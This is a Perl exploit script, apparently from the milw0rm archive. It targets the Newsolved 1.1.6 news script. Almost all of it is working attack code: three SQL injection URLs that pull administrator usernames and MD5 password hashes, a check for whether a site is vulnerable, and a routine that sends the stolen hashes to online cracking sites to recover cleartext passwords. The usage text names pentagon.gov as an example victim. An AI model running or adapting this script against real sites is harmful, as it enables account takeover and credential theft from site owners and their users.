#!/usr/bin/perl -w # Neversolved.pl # # Copyright (c) 2009 by # # A simple login grabber # by lama - 06/23/2009 # # Tested on: Newsolved 1.1.6 use strict; use LWP::UserAgent; use Getopt::Std; use vars qw/ %opt /; getopts( "i:p:u:lfh", \%opt ); my @bugs = ( [ "newsscript.php?m=archive&jahr=0'+UnIoN+SeLeCt+CoNcAt('1',':',user,':',pw)+FrOm+[PRE" ."FIX]_intern_users+WhErE+id='[USERID]&jahr_check=ok", "monat_num=1:(.*?):([a-f0-9]{32})" ], [ "newsscript.php?m=archive&topic_check=ok&idneu=-1'+UnIoN+SeLeCt+3,CoNcAt(user,':',pw" ."),1,4,1,5,9,2,6,5,3,5,8,9,7,9,3,2,3,8+FrOm+[PREFIX]_intern_users+WhErE+id='[USERID]", "([^>]+):([a-f0-9]{32})<" ], [ "newsscript.php?mailto=ok&newsid=-1'+UnIoN+SeLeCt+1,CoNcAt(user,':',pw),6,1,8,0,3,3," ."9,8,8,7,4,9,8,9,4,8,4,8+FrOm+[PREFIX]_intern_users+WhErE+id='[USERID]", "(.*?):([a-f0-9]{32})<\/i>" ] ); my @lookups = ( [ 'http://md5.rednoize.com/?q=[HASH]&s=md5&go=Search', '', '
(.*?)
' ], [ 'http://milw0rm.com/cracker/search.php', 'hash=[HASH]&Submit=Submit', '>[a-f0-9]{32}(.*?)' ], [ 'http://securitystats.com/tools/hashcrack.php', 'inputhash=[HASH]&type=MD5&Submit=Submit', '
[a-f0-9]{32} = (.*?)' ], [ 'http://md5decrypter.com/index.php', 'hash=[HASH]&submit=Decrypt', 'Normal Text: (.*?)\n' ] ); sub isHost { my $target = shift; if ( $target =~ /(?:http:\/\/)?([\w\.\-\_]*)(\/.*)?/ ) { my $host = $1; my $folder = ( $2 ? $2 : '/' ); if ( $folder !~ /\/$/ ) { $folder .= '/'; } return "http://$host$folder"; } else { return 0; } } sub replacePlaceholder { my $search = shift; my $replace = shift; my $placeholder = shift; $search=~s/\[$placeholder\]/$replace/g; return $search; } sub isVulnerable { my $target = shift; my $ua = LWP::UserAgent->new; my $request = new HTTP::Request('GET', $target); $request->header('User-Agent' => $opt{u}); my $response = $ua->request($request); my $body = $response->content; if ($body =~ /mysql_fetch_object/) { return 1; } elsif (!($body =~ /styles_output\.css/)) { return 0; } else { return -1; } } sub getHash { my $target = shift; my $regexp = shift; my $ua = LWP::UserAgent->new; my $request = new HTTP::Request('GET', $target); $request->header('User-Agent' => $opt{u}); my $response = $ua->request($request); my $body = $response->content; if ($body =~ /$regexp/) { return ($1, $2); } else { return 0; } } sub searchPlaintext { my $hash = shift; foreach (@lookups) { my $server = replacePlaceholder(@$_[0], $hash, "HASH"); my $post = replacePlaceholder(@$_[1], $hash, "HASH"); my $ua = LWP::UserAgent->new; my $request = new HTTP::Request('POST', $server); $request->content("$post"); $request->content_type('application/x-www-form-urlencoded'); $request->header('Referer' => $server); $request->header('User-Agent' => $opt{u}); my $response = $ua->request($request); my $body = $response->content; if ($body =~ /@$_[2]/) { return $1; } } return 0; } sub attackTarget { my $target = shift; my $userid = shift; foreach (@bugs) { my $bug = @$_[0]; $bug = replacePlaceholder($bug, $userid, "USERID"); $bug = replacePlaceholder($bug, $opt{p}, "PREFIX"); (my $username, my $password) = getHash($target.$bug, @$_[1]); if (($username) && ($password)) { return ($username, $password); } } return 0; } sub showHelp { print "Newsolved <= 1.1.6 Sploiter ( jmp-esp.net )\n" . "Usage: $0 [options] Victim\n" . "OPTIONS\n" . " -i integer: Userid [1]\n" . " -u string: Useragent [IE]\n" . " -p string: Prefix [newsolved]\n" . " -f: Force [optional]\n" . " -l: Lookup [optional]\n" . " -h: Help [optional]\n" . "EXAMPLES\n" . " ./$0 http://pentagon.gov/news/\n" . " ./$0 -f -i 4 http://omnomnom.com/\n" . "OTHER\n" . " Magic_Quotes_GPC needs to be off\n"; } sub showBanner { print " __ \n" . " |__|.--------.-----.______.-----.-----.-----.\n" . " | || | _ |______| -__|__ --| _ |\n" . " | ||__|__|__| __| |_____|_____| __|\n" . "|___| |__| lama 06/23/2009 |__| \n" . "Kampfgeschrei!\n\n"; } if ($opt{h}) { showHelp(); exit; } my $victim = shift; if (!($victim) || !($victim = isHost($victim))) { showHelp(); exit; } $opt{u} = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)' if (!$opt{u}); $opt{i} = '1' if (!$opt{i}); $opt{p} = 'newsolved' if (!$opt{p}); if (scalar(@bugs) < 1) { print "Bugs or gtfo. Srsly.\n"; exit; } my $vulnerability = isVulnerable($victim.$bugs[0][0]); if ($vulnerability == 0) { print "This doesn't look like Newsolved. Read the help, now.\n\n"; showHelp(); exit if (!$opt{f}); } elsif ($vulnerability == -1) { print "Magic_Quotes_Gpc seems to be on. Read the help, now.\n\n"; showHelp(); exit if (!$opt{f}); } showBanner(); (my $username, my $password) = attackTarget($victim, $opt{i}); if ($username) { print "Target:\t\t".isHost($victim)." ( ID: ".$opt{i}." )\n"; print "Username:\t$username\nPassword:\t$password\n"; if ($opt{l}) { my $cleartext = searchPlaintext($password); if ($cleartext) { print "Cleartext:\t$cleartext\n"; } else { print "Cleartext:\tNot found\n"; } } } else { print "Unable to retrieve the password: Is the userid correct?\n"; } # milw0rm.com [2009-06-29]

Query Builder